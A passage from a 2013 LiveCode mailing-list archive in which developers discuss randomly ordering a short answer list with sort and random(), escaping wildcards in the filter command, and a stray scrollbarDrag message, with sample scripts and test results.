Inc. > www.readnaturally.com > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From paul at researchware.com Wed May 22 17:16:52 2013 From: paul at researchware.com (Paul Dupuis) Date: Wed, 22 May 2013 17:16:52 -0400 Subject: Escaping the Filter command's wildcards Message-ID: <519D35C4.7000605@researchware.com> The filter command in LiveCode appears to accept a regular expression (using ? for a single character match, * for multiple character match, [chars] and [char-char]). However, if you want to filter a container to a string where you pattern contains a question mark, it does not appear that you can escape the ? with \? in the pattern to have it treated as a "real" question mark instead of a wild card. While \? does not cause ? to be treated as a question mark instead of a wild card, using [?] does appear to treat it as a real character and not as a wild card. Does any one have any knowledge of escaping the special characters listed in the Dictionary? Or whether other regex special characters can be used beyond those listed? From dsc at swcp.com Wed May 22 17:24:50 2013 From: dsc at swcp.com (Dar Scott) Date: Wed, 22 May 2013 15:24:50 -0600 Subject: RandomSeed test (was:randomly order a list) In-Reply-To: <8D0254488E17F3C-2390-6E37@webmail-m164.sysops.aol.com> References: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> <8D0254488E17F3C-2390-6E37@webmail-m164.sysops.aol.com> Message-ID: <379DE1DF-5206-4F11-93E9-5BE845BA326C@swcp.com> There is a potential confusion in the term randomSeed. We might be using it two ways. There is the randomSeed property, the state of the random number generator. And there is the argument to the random function. And... Shouldn't the 'get fld 1' be inside the loop? (Or initialized the same way each time.) You are using the previous sorted 'it' each time. Perhaps that is what is doing the scrambling. This is my test: on mouseUp set the cursor to watch put 0 into a1 put 0 into a2 put 0 into a3 put "a" & lf & "b" & lf & "c" into x repeat 1000000 times put x into myVar --sort lines of myVar by random(the number of lines of myVar) sort lines of myVar by random(999999) if line 1 of myVar is "a" then add 1 to a1 if line 2 of myVar is "a" then add 1 to a2 if line 3 of myVar is "a" then add 1 to a3 end repeat put a1 && a2 && a3 into field 1 end mouseUp I got different results depending on which line is commented out. Dar On May 22, 2013, at 2:46 PM, dunbarx at aol.com wrote: > Sorting by a randomSeed greater than the number of elements of a sample does not help. > > > With the following in a fld 1: aaa,bbb,ccc > > > and this in a button: > > on mouseUp > get fld 1 > repeat 1000 > sort items of it by random(3) > put it & return after lowSeed > end repeat > > repeat 1000 > sort items of it by random(3333) > put it & return after highSeed > end repeat > > repeat with y = 1 to the number of lines of lowSeed > add 1 to lowSeedCounter[line y of lowSeed] > end repeat > > repeat with y = 1 to the number of lines of highSeed > add 1 to highSeedCounter[line y of highSeed] > end repeat > > end mouseUp > > > The distribution of the two groups is about the same. > > > Craig Newman > > > > > -----Original Message----- > From: Dar Scott > To: How to use LiveCode > Sent: Wed, May 22, 2013 3:59 pm > Subject: Re: randomly order a list > > > Try replacing 'the number of lines of myVar' with some huge number you think is > allowed for random(), say 999999. > > With small numbers you are likely to get the same number for different lines and > perhaps sort does not change order in that case. > > Dar > > > On May 22, 2013, at 11:59 AM, Chris Sheffield wrote: ... >> >> sort lines of myVar by random(the number of lines of myVar) >> ... >> >> -- >> Chris Sheffield >> Read Naturally, Inc. >> www.readnaturally.com > From cmsheffield at icloud.com Wed May 22 17:34:54 2013 From: cmsheffield at icloud.com (Chris Sheffield) Date: Wed, 22 May 2013 15:34:54 -0600 Subject: randomly order a list In-Reply-To: <44DB3748-3519-4BD6-BD81-D65D9C6F6249@swcp.com> References: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> <44DB3748-3519-4BD6-BD81-D65D9C6F6249@swcp.com> Message-ID: <17915E07-70D0-4FC6-96FC-17E814FFBA77@icloud.com> Thanks for the suggestions everyone, but I'm still getting strange results, and I'm beginning to think there's something I'm doing that's affecting use of the random() function. Not really sure what it would be though. Here's my code: set the itemDel to tab put "*" & item 3 of sRecSet into tPossibleAnswers -- correct answer put cr & item 4 of sRecSet after tPossibleAnswers -- distractor 1 put cr & item 5 of sRecSet after tPossibleAnswers -- distractor 2 sort lines of tPossibleAnswers by random(999999) -- randomly re-order the list This app pulls words from a database and presents three possible answers to choose from. The asterisk above is used to identify the correct answer after the sort takes place. It's removed later on. The sort only works randomly one time. After that, the same sort order is used every time, so the correct answer *always* ends up listed first. It doesn't matter if I use a very high number or if I use 'the number of lines of tPossibleAnswers'. Something is very strange. Just as a quick test, I added a button to the card with this inside: put "one" & cr & "two" & cr & "three" into tLines sort lines of tLines by random(the number of lines of tLines) answer tLines This seems to work just fine. Yes, it does mean getting the same order sometimes twice or maybe even three times in a row, but not usually more than that, which would be fine in this case. So I'm not sure what's going on with my actual code. I'm no longer setting the randomSeed or anything like that. The other strange thing is no matter what I try, if I use the random() function or the any keyword in anyway, I get similar results. Something is affecting the "randomness". This is for an iOS app, btw, if that makes any difference to anyone. This might be kind of a dumb thing to do, but the only other thing I can think of would be to add several more lines of data to the three actual possible answers, then sort the whole thing, then somehow filter out everything I added before the sort. With more lines, maybe I'd get better results? Thanks again, Chris On May 22, 2013, at 3:03 PM, Dar Scott wrote: > I think you are going to get the first line of the original list (correct answer) about half the time. Does that seem right to you from what you have seen? The correct answer will be in the first two about 80% of the time. > > Using the larger argument for random should give you better proportions. You should get it in the first line a third of the time. > > If you only interested in the first line, there might be some methods that are clearer and more fun. > > Dar > > > On May 22, 2013, at 11:59 AM, Chris Sheffield wrote: > >> I have a list of three words that I need to be randomly sorted. To start with, the first word is the correct answer to a question. I want to re-order the list so that the correct answer may be the second or third word, and not necessarily the first. How can I do this successfully every time? The docs give an example like this: >> >> sort lines of myVar by random(the number of lines of myVar) >> >> But this only seems to work successfully one time. After that, the list is always set so the first word is the correct answer. So then I tried randomly setting the randomSeed value, since this value is supposed to affect the random() function and the any keyword, but this didn't seem to make much difference except to change it so either the second or third word is *always* the right answer. I need it to be more mixed up than that. >> >> So does anyone have a good way to do this? >> >> Thanks, >> Chris >> >> >> -- >> Chris Sheffield >> Read Naturally, Inc. >> www.readnaturally.com >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From m.schonewille at economy-x-talk.com Wed May 22 17:37:30 2013 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Wed, 22 May 2013 23:37:30 +0200 Subject: Escaping the Filter command's wildcards In-Reply-To: <519D35C4.7000605@researchware.com> References: <519D35C4.7000605@researchware.com> Message-ID: <519D3A9A.90707@economy-x-talk.com> Hi Paul, This works fine for me: put replacetext("xxx?!xxx","[\?!]","") --> xxxxxx What exactly is the problem you're having? Could you post some of the code that doesn't work for you? -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other colour spaces. http://www.color-converter.com Buy my new book "Programming LiveCode for the Real Beginner" http://qery.us/3fi On 5/22/2013 23:16, Paul Dupuis wrote: > The filter command in LiveCode appears to accept a regular expression > (using ? for a single character match, * for multiple character match, > [chars] and [char-char]). However, if you want to filter a container to > a string where you pattern contains a question mark, it does not appear > that you can escape the ? with \? in the pattern to have it treated as a > "real" question mark instead of a wild card. > > While \? does not cause ? to be treated as a question mark instead of a > wild card, using [?] does appear to treat it as a real character and not > as a wild card. > > Does any one have any knowledge of escaping the special characters > listed in the Dictionary? Or whether other regex special characters can > be used beyond those listed? > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From m.schonewille at economy-x-talk.com Wed May 22 17:43:13 2013 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Wed, 22 May 2013 23:43:13 +0200 Subject: Escaping the Filter command's wildcards In-Reply-To: <519D3A9A.90707@economy-x-talk.com> References: <519D35C4.7000605@researchware.com> <519D3A9A.90707@economy-x-talk.com> Message-ID: <519D3BF1.802@economy-x-talk.com> Paul, I read your message three more times, and I think I should note that put replacetext("xxx?!xxx","\?","") works too: --> xxx!xxx in addition to put replacetext("xxx?!xxx","[\?!]","") --> xxxxxx -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other colour spaces. http://www.color-converter.com Buy my new book "Programming LiveCode for the Real Beginner" http://qery.us/3fi > On 5/22/2013 23:16, Paul Dupuis wrote: >> The filter command in LiveCode appears to accept a regular expression >> (using ? for a single character match, * for multiple character match, >> [chars] and [char-char]). However, if you want to filter a container to >> a string where you pattern contains a question mark, it does not appear >> that you can escape the ? with \? in the pattern to have it treated as a >> "real" question mark instead of a wild card. >> >> While \? does not cause ? to be treated as a question mark instead of a >> wild card, using [?] does appear to treat it as a real character and not >> as a wild card. >> >> Does any one have any knowledge of escaping the special characters >> listed in the Dictionary? Or whether other regex special characters can >> be used beyond those listed? >> >> From pete at lcsql.com Wed May 22 18:13:18 2013 From: pete at lcsql.com (Peter Haworth) Date: Wed, 22 May 2013 15:13:18 -0700 Subject: Escaping the Filter command's wildcards In-Reply-To: <519D35C4.7000605@researchware.com> References: <519D35C4.7000605@researchware.com> Message-ID: I think there's been discussions on the list before about the filter command and the fact that it doesn't seem to support the full regexp syntax, only the specific functionality described in the dictionary Pete lcSQL Software On Wed, May 22, 2013 at 2:16 PM, Paul Dupuis wrote: > The filter command in LiveCode appears to accept a regular expression > (using ? for a single character match, * for multiple character match, > [chars] and [char-char]). However, if you want to filter a container to > a string where you pattern contains a question mark, it does not appear > that you can escape the ? with \? in the pattern to have it treated as a > "real" question mark instead of a wild card. > > While \? does not cause ? to be treated as a question mark instead of a > wild card, using [?] does appear to treat it as a real character and not > as a wild card. > > Does any one have any knowledge of escaping the special characters > listed in the Dictionary? Or whether other regex special characters can > be used beyond those listed? > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From dsc at swcp.com Wed May 22 18:28:01 2013 From: dsc at swcp.com (Dar Scott) Date: Wed, 22 May 2013 16:28:01 -0600 Subject: randomly order a list In-Reply-To: <17915E07-70D0-4FC6-96FC-17E814FFBA77@icloud.com> References: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> <44DB3748-3519-4BD6-BD81-D65D9C6F6249@swcp.com> <17915E07-70D0-4FC6-96FC-17E814FFBA77@icloud.com> Message-ID: <966CA53A-7F57-410C-B6F1-39BD773041D8@swcp.com> The testing is on the desktop, though? It might well be possible to "break" random with a bad random seed depending on the method, so it might be broken from earlier experiments. Restarting LiveCode should fix that. I don't think that is your situation, but it is easy to do. This is a puzzle to me. The two examples look the same to me. Try dumping tPossibleLines before and after the sort. Do you get funny results on iOS but not on your desktop? Dar On May 22, 2013, at 3:34 PM, Chris Sheffield wrote: > Thanks for the suggestions everyone, but I'm still getting strange results, and I'm beginning to think there's something I'm doing that's affecting use of the random() function. Not really sure what it would be though. Here's my code: > > set the itemDel to tab > put "*" & item 3 of sRecSet into tPossibleAnswers -- correct answer > put cr & item 4 of sRecSet after tPossibleAnswers -- distractor 1 > put cr & item 5 of sRecSet after tPossibleAnswers -- distractor 2 > sort lines of tPossibleAnswers by random(999999) -- randomly re-order the list > > This app pulls words from a database and presents three possible answers to choose from. The asterisk above is used to identify the correct answer after the sort takes place. It's removed later on. The sort only works randomly one time. After that, the same sort order is used every time, so the correct answer *always* ends up listed first. It doesn't matter if I use a very high number or if I use 'the number of lines of tPossibleAnswers'. Something is very strange. Just as a quick test, I added a button to the card with this inside: > > put "one" & cr & "two" & cr & "three" into tLines > sort lines of tLines by random(the number of lines of tLines) > answer tLines > > This seems to work just fine. Yes, it does mean getting the same order sometimes twice or maybe even three times in a row, but not usually more than that, which would be fine in this case. So I'm not sure what's going on with my actual code. I'm no longer setting the randomSeed or anything like that. > > The other strange thing is no matter what I try, if I use the random() function or the any keyword in anyway, I get similar results. Something is affecting the "randomness". This is for an iOS app, btw, if that makes any difference to anyone. This might be kind of a dumb thing to do, but the only other thing I can think of would be to add several more lines of data to the three actual possible answers, then sort the whole thing, then somehow filter out everything I added before the sort. With more lines, maybe I'd get better results? > > Thanks again, > Chris > > On May 22, 2013, at 3:03 PM, Dar Scott wrote: > >> I think you are going to get the first line of the original list (correct answer) about half the time. Does that seem right to you from what you have seen? The correct answer will be in the first two about 80% of the time. >> >> Using the larger argument for random should give you better proportions. You should get it in the first line a third of the time. >> >> If you only interested in the first line, there might be some methods that are clearer and more fun. >> >> Dar >> >> >> On May 22, 2013, at 11:59 AM, Chris Sheffield wrote: >> >>> I have a list of three words that I need to be randomly sorted. To start with, the first word is the correct answer to a question. I want to re-order the list so that the correct answer may be the second or third word, and not necessarily the first. How can I do this successfully every time? The docs give an example like this: >>> >>> sort lines of myVar by random(the number of lines of myVar) >>> >>> But this only seems to work successfully one time. After that, the list is always set so the first word is the correct answer. So then I tried randomly setting the randomSeed value, since this value is supposed to affect the random() function and the any keyword, but this didn't seem to make much difference except to change it so either the second or third word is *always* the right answer. I need it to be more mixed up than that. >>> >>> So does anyone have a good way to do this? >>> >>> Thanks, >>> Chris >>> >>> >>> -- >>> Chris Sheffield >>> Read Naturally, Inc. >>> www.readnaturally.com >>> >>> >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From alex at tweedly.net Wed May 22 18:30:46 2013 From: alex at tweedly.net (Alex Tweedly) Date: Wed, 22 May 2013 23:30:46 +0100 Subject: randomly order a list In-Reply-To: <17915E07-70D0-4FC6-96FC-17E814FFBA77@icloud.com> References: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> <44DB3748-3519-4BD6-BD81-D65D9C6F6249@swcp.com> <17915E07-70D0-4FC6-96FC-17E814FFBA77@icloud.com> Message-ID: <519D4716.7040309@tweedly.net> I have no idea hat your problem might be .... but here's what I'd try next to see if I could figure out what's happening :-) Change from set the itemDel to tab put "*" & item 3 of sRecSet into tPossibleAnswers -- correct answer put cr & item 4 of sRecSet after tPossibleAnswers -- distractor 1 put cr & item 5 of sRecSet after tPossibleAnswers -- distractor 2 sort lines of tPossibleAnswers by random(999999) -- randomly re-order the list to keeping a randomly generated value on the line .... set the itemDel to tab put "*" & item 3 of sRecSet &TAB& random(9999) into tPossibleAnswers -- correct answer put cr & item 4 of sRecSet &TAB& random(9999) after tPossibleAnswers -- distractor 1 put cr & item 5 of sRecSet &TAB& random(9999) after tPossibleAnswers -- distractor 2 then sort by those stored values sort lines of tPossibleAnswers by item 2 of each -- randomly re-order the list And then you can log/printout/examine in the debugger what the lines are before/after the sort, and see if that helps you figure what is happening. -- Alex. On 22/05/2013 22:34, Chris Sheffield wrote: > Thanks for the suggestions everyone, but I'm still getting strange results, and I'm beginning to think there's something I'm doing that's affecting use of the random() function. Not really sure what it would be though. Here's my code: > > set the itemDel to tab > put "*" & item 3 of sRecSet into tPossibleAnswers -- correct answer > put cr & item 4 of sRecSet after tPossibleAnswers -- distractor 1 > put cr & item 5 of sRecSet after tPossibleAnswers -- distractor 2 > sort lines of tPossibleAnswers by random(999999) -- randomly re-order the list > > This app pulls words from a database and presents three possible answers to choose from. The asterisk above is used to identify the correct answer after the sort takes place. It's removed later on. The sort only works randomly one time. After that, the same sort order is used every time, so the correct answer *always* ends up listed first. It doesn't matter if I use a very high number or if I use 'the number of lines of tPossibleAnswers'. Something is very strange. Just as a quick test, I added a button to the card with this inside: > > put "one" & cr & "two" & cr & "three" into tLines > sort lines of tLines by random(the number of lines of tLines) > answer tLines > > This seems to work just fine. Yes, it does mean getting the same order sometimes twice or maybe even three times in a row, but not usually more than that, which would be fine in this case. So I'm not sure what's going on with my actual code. I'm no longer setting the randomSeed or anything like that. > > The other strange thing is no matter what I try, if I use the random() function or the any keyword in anyway, I get similar results. Something is affecting the "randomness". This is for an iOS app, btw, if that makes any difference to anyone. This might be kind of a dumb thing to do, but the only other thing I can think of would be to add several more lines of data to the three actual possible answers, then sort the whole thing, then somehow filter out everything I added before the sort. With more lines, maybe I'd get better results? > > Thanks again, > Chris > > On May 22, 2013, at 3:03 PM, Dar Scott wrote: > >> I think you are going to get the first line of the original list (correct answer) about half the time. Does that seem right to you from what you have seen? The correct answer will be in the first two about 80% of the time. >> >> Using the larger argument for random should give you better proportions. You should get it in the first line a third of the time. >> >> If you only interested in the first line, there might be some methods that are clearer and more fun. >> >> Dar >> >> >> On May 22, 2013, at 11:59 AM, Chris Sheffield wrote: >> >>> I have a list of three words that I need to be randomly sorted. To start with, the first word is the correct answer to a question. I want to re-order the list so that the correct answer may be the second or third word, and not necessarily the first. How can I do this successfully every time? The docs give an example like this: >>> >>> sort lines of myVar by random(the number of lines of myVar) >>> >>> But this only seems to work successfully one time. After that, the list is always set so the first word is the correct answer. So then I tried randomly setting the randomSeed value, since this value is supposed to affect the random() function and the any keyword, but this didn't seem to make much difference except to change it so either the second or third word is *always* the right answer. I need it to be more mixed up than that. >>> >>> So does anyone have a good way to do this? >>> >>> Thanks, >>> Chris >>> >>> >>> -- >>> Chris Sheffield >>> Read Naturally, Inc. >>> www.readnaturally.com >>> >>> >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From dunbarx at aol.com Wed May 22 18:31:42 2013 From: dunbarx at aol.com (dunbarx at aol.com) Date: Wed, 22 May 2013 18:31:42 -0400 (EDT) Subject: RandomSeed test (was:randomly order a list) In-Reply-To: <379DE1DF-5206-4F11-93E9-5BE845BA326C@swcp.com> References: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> <8D0254488E17F3C-2390-6E37@webmail-m164.sysops.aol.com> <379DE1DF-5206-4F11-93E9-5BE845BA326C@swcp.com> Message-ID: <8D02553442A7EED-2390-7F03@webmail-m164.sysops.aol.com> Dar. Yes, the randomseed is misused here. Parameter is better. I assumed that it made no difference if I sorted the original text, or with a sorted version of that text. Random is random, right? An example of shoot-from-the-hip posting to the list. It seems that it does, and I am not sure why. With a low sort parameter, there is a distinct favoring of the original text, and a distinct disfavoring of the reverse of that text, The other sorted results are all about where they should be, 16% of the values. I am sure there is an explanation for all this. There is definitely something to what Chris said. The original text occurs far more often than it should. I think there was discussion about this a while back, and I have forgotten what the upshot was. Bottom line, though, use a big number. Craig -----Original Message----- From: Dar Scott To: How to use LiveCode Sent: Wed, May 22, 2013 5:26 pm Subject: Re: RandomSeed test (was:randomly order a list) There is a potential confusion in the term randomSeed. We might be using it two ways. There is the randomSeed property, the state of the random number generator. And there is the argument to the random function. And... Shouldn't the 'get fld 1' be inside the loop? (Or initialized the same way each time.) You are using the previous sorted 'it' each time. Perhaps that is what is doing the scrambling. This is my test: on mouseUp set the cursor to watch put 0 into a1 put 0 into a2 put 0 into a3 put "a" & lf & "b" & lf & "c" into x repeat 1000000 times put x into myVar --sort lines of myVar by random(the number of lines of myVar) sort lines of myVar by random(999999) if line 1 of myVar is "a" then add 1 to a1 if line 2 of myVar is "a" then add 1 to a2 if line 3 of myVar is "a" then add 1 to a3 end repeat put a1 && a2 && a3 into field 1 end mouseUp I got different results depending on which line is commented out. Dar On May 22, 2013, at 2:46 PM, dunbarx at aol.com wrote: > Sorting by a randomSeed greater than the number of elements of a sample does not help. > > > With the following in a fld 1: aaa,bbb,ccc > > > and this in a button: > > on mouseUp > get fld 1 > repeat 1000 > sort items of it by random(3) > put it & return after lowSeed > end repeat > > repeat 1000 > sort items of it by random(3333) > put it & return after highSeed > end repeat > > repeat with y = 1 to the number of lines of lowSeed > add 1 to lowSeedCounter[line y of lowSeed] > end repeat > > repeat with y = 1 to the number of lines of highSeed > add 1 to highSeedCounter[line y of highSeed] > end repeat > > end mouseUp > > > The distribution of the two groups is about the same. > > > Craig Newman > > > > > -----Original Message----- > From: Dar Scott > To: How to use LiveCode > Sent: Wed, May 22, 2013 3:59 pm > Subject: Re: randomly order a list > > > Try replacing 'the number of lines of myVar' with some huge number you think is > allowed for random(), say 999999. > > With small numbers you are likely to get the same number for different lines and > perhaps sort does not change order in that case. > > Dar > > > On May 22, 2013, at 11:59 AM, Chris Sheffield wrote: ... >> >> sort lines of myVar by random(the number of lines of myVar) >> ... >> >> -- >> Chris Sheffield >> Read Naturally, Inc. >> www.readnaturally.com > _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From pete at lcsql.com Wed May 22 18:32:43 2013 From: pete at lcsql.com (Peter Haworth) Date: Wed, 22 May 2013 15:32:43 -0700 Subject: Unexpected scrollbarDrag message Message-ID: I have a card with a number of slider scrollbars on it and a scrollbarDrag handler in the card script to deal what happens when any of the sliders are moved. I also have a field associated with each scrollbar which receives the thumbpos of its associated slider. All that works fine However, if I click into the slider value field, my card level scrollbardrag message is triggered with a value of 1. I also see that the message is coming from the value field. If I get rid of the scrollbardrag message at the card level and put it into the script of each individual slider, the problem goes away. If I put a scrollbardrag handler into the script of the value fields, it is triggered as soon as I click into the field. The value fields do not have any scrollbars enabled, do not have a behavior script, and there are no other scripts in the messagepath between them and the card. I'm sure this is not an intended behavior? Pete lcSQL Software From jacques.hausser at unil.ch Wed May 22 18:35:59 2013 From: jacques.hausser at unil.ch (Jacques Hausser) Date: Thu, 23 May 2013 00:35:59 +0200 Subject: randomly order a list In-Reply-To: <17915E07-70D0-4FC6-96FC-17E814FFBA77@icloud.com> References: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> <44DB3748-3519-4BD6-BD81-D65D9C6F6249@swcp.com> <17915E07-70D0-4FC6-96FC-17E814FFBA77@icloud.com> Message-ID: <2F338A12-D238-43A3-883A-871CA347D1D8@unil.ch> Chris, I think that you cannot sort by random(999999) because the argument of the sort (the sortkey as it is called in the dictionary) must by something like "item 2 of each" and not a number out from a random generator. If you want a random order of the three lines of possible answers, you could for instance: --1) put the different possible orders in a string (6 possible orders for three items) put "1,2,3" & cr & "2,1,3" & cr & "2,3,1" & cr & "1,3,2" & cr & "3,1,2" & cr & "3,2,1" into sOrderOfLines (I keep the comma as item delimiter for typographic clarity - if you need a tab, you should replace commas by tabs in sOrderOfLines too, to avoid frequent switches of itemdels): --2) then in your loop: put "*" & item 3 of sRecSet into tPossibleAnswers -- correct answer put cr & item 4 of sRecSet after tPossibleAnswers -- distractor 1 put cr & item 5 of sRecSet after tPossibleAnswers -- distractor put line(random(6)) of sOrderOfLines into tOrder repeat with i = 1 to 3 put line(item i of tOrder) of tPossibleAnswers into line i of fld"YourField" next repeat It's wrong to use numbers larger than needed (here, 6) into the random function: they will only call for non existing items. Remember that a sequence of random numbers means only that it is impossible, given a part of this sequence of numbers, to predict the next number(s) in the sequence and that every number in the sequence has the same probability to be the next one. Thus with only 6 possibilities it is quite possible to have the same order several times in succession. I you don't want that, you could put "" into tLastOrder put "0,0,0" into tOrder -- or anything you want, except the "real" possible orders and "" repeat until tOrder <> tLastOrder put line(random(6)) of sOrderOfLines into tOrder next repeat put tOrder into tLastOrder repeat with i = 1 to 3 put line(item i of tOrder) of tPossibleAnswers into line i of fld"YourField" next repeat so you'll never have the same order for two successive questions - and the general sequence will remain random (you can predict that given order will not appear twice, but not which one from the other orders will appear next). a better possibility would be to check only for the position of the correct answer: you'll have to check this position with offset function. hth Jacques Le 22 mai 2013 ? 23:34, Chris Sheffield a ?crit : > Thanks for the suggestions everyone, but I'm still getting strange results, and I'm beginning to think there's something I'm doing that's affecting use of the random() function. Not really sure what it would be though. Here's my code: > > set the itemDel to tab > put "*" & item 3 of sRecSet into tPossibleAnswers -- correct answer > put cr & item 4 of sRecSet after tPossibleAnswers -- distractor 1 > put cr & item 5 of sRecSet after tPossibleAnswers -- distractor 2 > sort lines of tPossibleAnswers by random(999999) -- randomly re-order the list > > This app pulls words from a database and presents three possible answers to choose from. The asterisk above is used to identify the correct answer after the sort takes place. It's removed later on. The sort only works randomly one time. After that, the same sort order is used every time, so the correct answer *always* ends up listed first. It doesn't matter if I use a very high number or if I use 'the number of lines of tPossibleAnswers'. Something is very strange. Just as a quick test, I added a button to the card with this inside: > > put "one" & cr & "two" & cr & "three" into tLines > sort lines of tLines by random(the number of lines of tLines) > answer tLines > > This seems to work just fine. Yes, it does mean getting the same order sometimes twice or maybe even three times in a row, but not usually more than that, which would be fine in this case. So I'm not sure what's going on with my actual code. I'm no longer setting the randomSeed or anything like that. > > The other strange thing is no matter what I try, if I use the random() function or the any keyword in anyway, I get similar results. Something is affecting the "randomness". This is for an iOS app, btw, if that makes any difference to anyone. This might be kind of a dumb thing to do, but the only other thing I can think of would be to add several more lines of data to the three actual possible answers, then sort the whole thing, then somehow filter out everything I added before the sort. With more lines, maybe I'd get better results? > > Thanks again, > Chris > > On May 22, 2013, at 3:03 PM, Dar Scott wrote: > >> I think you are going to get the first line of the original list (correct answer) about half the time. Does that seem right to you from what you have seen? The correct answer will be in the first two about 80% of the time. >> >> Using the larger argument for random should give you better proportions. You should get it in the first line a third of the time. >> >> If you only interested in the first line, there might be some methods that are clearer and more fun. >> >> Dar >> >> >> On May 22, 2013, at 11:59 AM, Chris Sheffield wrote: >> >>> I have a list of three words that I need to be randomly sorted. To start with, the first word is the correct answer to a question. I want to re-order the list so that the correct answer may be the second or third word, and not necessarily the first. How can I do this successfully every time? The docs give an example like this: >>> >>> sort lines of myVar by random(the number of lines of myVar) >>> >>> But this only seems to work successfully one time. After that, the list is always set so the first word is the correct answer. So then I tried randomly setting the randomSeed value, since this value is supposed to affect the random() function and the any keyword, but this didn't seem to make much difference except to change it so either the second or third word is *always* the right answer. I need it to be more mixed up than that. >>> >>> So does anyone have a good way to do this? >>> >>> Thanks, >>> Chris >>> >>> >>> -- >>> Chris Sheffield >>> Read Naturally, Inc. >>> www.readnaturally.com >>> >>> >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode E-Mail: jacques.hausser at unil.ch ******************************************* From jacques.hausser at unil.ch Wed May 22 18:47:56 2013 From: jacques.hausser at unil.ch (Jacques Hausser) Date: Thu, 23 May 2013 00:47:56 +0200 Subject: randomly order a list In-Reply-To: <2F338A12-D238-43A3-883A-871CA347D1D8@unil.ch> References: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> <44DB3748-3519-4BD6-BD81-D65D9C6F6249@swcp.com> <17915E07-70D0-4FC6-96FC-17E814FFBA77@icloud.com> <2F338A12-D238-43A3-883A-871CA347D1D8@unil.ch> Message-ID: <24711C3B-F2D1-4CFF-A4D2-C491A8F9AAEC@unil.ch> Sorry, I'm afraid I put a stupid error in my script: the second possibility should be: > put "" into tLastOrder > put "" into tOrder -- they must of course be the same at the start !!!! > repeat until tOrder <> tLastOrder > put line(random(6)) of sOrderOfLines into tOrder > next repeat > put tOrder into tLastOrder > repeat with i = 1 to 3 > put line(item i of tOrder) of tPossibleAnswers into line i of fld"YourField" > next repeat Jacques From dsc at swcp.com Wed May 22 18:50:24 2013 From: dsc at swcp.com (Dar Scott) Date: Wed, 22 May 2013 16:50:24 -0600 Subject: RandomSeed test (was:randomly order a list) In-Reply-To: <8D02553442A7EED-2390-7F03@webmail-m164.sysops.aol.com> References: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> <8D0254488E17F3C-2390-6E37@webmail-m164.sysops.aol.com> <379DE1DF-5206-4F11-93E9-5BE845BA326C@swcp.com> <8D02553442A7EED-2390-7F03@webmail-m164.sysops.aol.com> Message-ID: <2A57A450-85FD-481E-B2E4-34EE33E94CB8@swcp.com> I think the problem comes up when two equal items are compared. I suspect that sort will tend to leave things unchanged. On May 22, 2013, at 4:31 PM, dunbarx at aol.com wrote: > Dar. > > > Yes, the randomseed is misused here. Parameter is better. > > > > I assumed that it made no difference if I sorted the original text, or with a sorted version of that text. Random is random, right? An example of 